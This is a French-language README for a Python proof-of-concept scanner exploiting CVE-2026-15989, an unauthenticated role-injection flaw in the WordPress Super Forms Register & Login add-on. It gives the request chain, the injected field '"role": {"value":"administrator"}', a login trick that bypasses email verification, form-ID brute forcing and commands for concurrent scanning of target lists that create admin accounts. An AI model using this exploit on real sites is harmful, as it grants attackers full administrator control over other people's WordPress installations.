
Scanner PoC Python pour CVE-2026-15989, exploitant l'injection de rôle non authentifiée dans WordPress Super Forms pour créer des comptes administrateur et vérifier l'accès.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Auto-découverte sans empreinte · Payloads adaptés à la validation · Zéro authentification · Classification honnête
| Plugin WordPress | Super Forms – Drag & Drop Form Builder (add-on Register & Login) |
| Version affectée | <= 6.3.316 |
| Version corrigée | 6.3.317 |
| Authentification | ❌ Aucune requise — n'importe quel formulaire d'inscription publié suffit |
| CVSS | 9.8 CRITICAL |
role en liste blanche → Création d'administrateurGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
L'add-on copie
$data['role']['value']directement dans le tableau de données utilisateur sans le valider par rapport auregister_user_roleconfiguré par l'administrateur, sans liste d'autorisation et sans aucun contrôle de capacité — un simple champ injecté"role": {"value":"administrator"}suffit à gagner.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
L'add-on n'applique son verrou d'activation par e-mail / modération que lorsque l'action POST n'est PAS
super_submit_form— ainsi la même action de formulaire qui enregistre l'utilisateur permet également de se connecter à celui-ci, avant même toute vérification par e-mail.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Les formulaires non destinés à l'inscription répondent également
error:false, donc chaque identifiant accepté n'est qu'un candidat tant que les identifiants ne sont pas prouvés par une véritable connexion.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — une URL de base par ligne :
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Option | Description |
|---|---|
--list FILE | fichier de cibles — une URL par ligne (requis) |
--output, -o FILE | liste des cibles — uniquement les cibles VULNERABLE écrites en direct (sans ANSI) |
--threads N | workers de cibles concurrents (par défaut 10) |
--timeout N | délai d'expiration de socket par requête en secondes (par défaut 10) |
--full | exécute TOUTE la chaîne — ajoute le fallback de brute force d'ID de formulaire (des comptes SERONT créés sur les cibles vulnérables) |
| État | Signification |
|---|---|
VULNERABLE | compte créé et accès administrateur wp-admin prouvé (200) |
NOT-VULNERABLE | connexion OK mais pages admin en 403 — rôle ignoré → version corrigée |
UNVERIFIED | soumission acceptée mais connexion rejetée (compte verrouillé/en attente ou formulaire non destiné à l'inscription) — jamais signalé comme un faux positif silencieux |
BLOCKED | soumission rejetée (reCAPTCHA, CSRF, champs requis, honeypot…) |
ERROR | cible injoignable / échec DNS — signalé avec la cause exacte |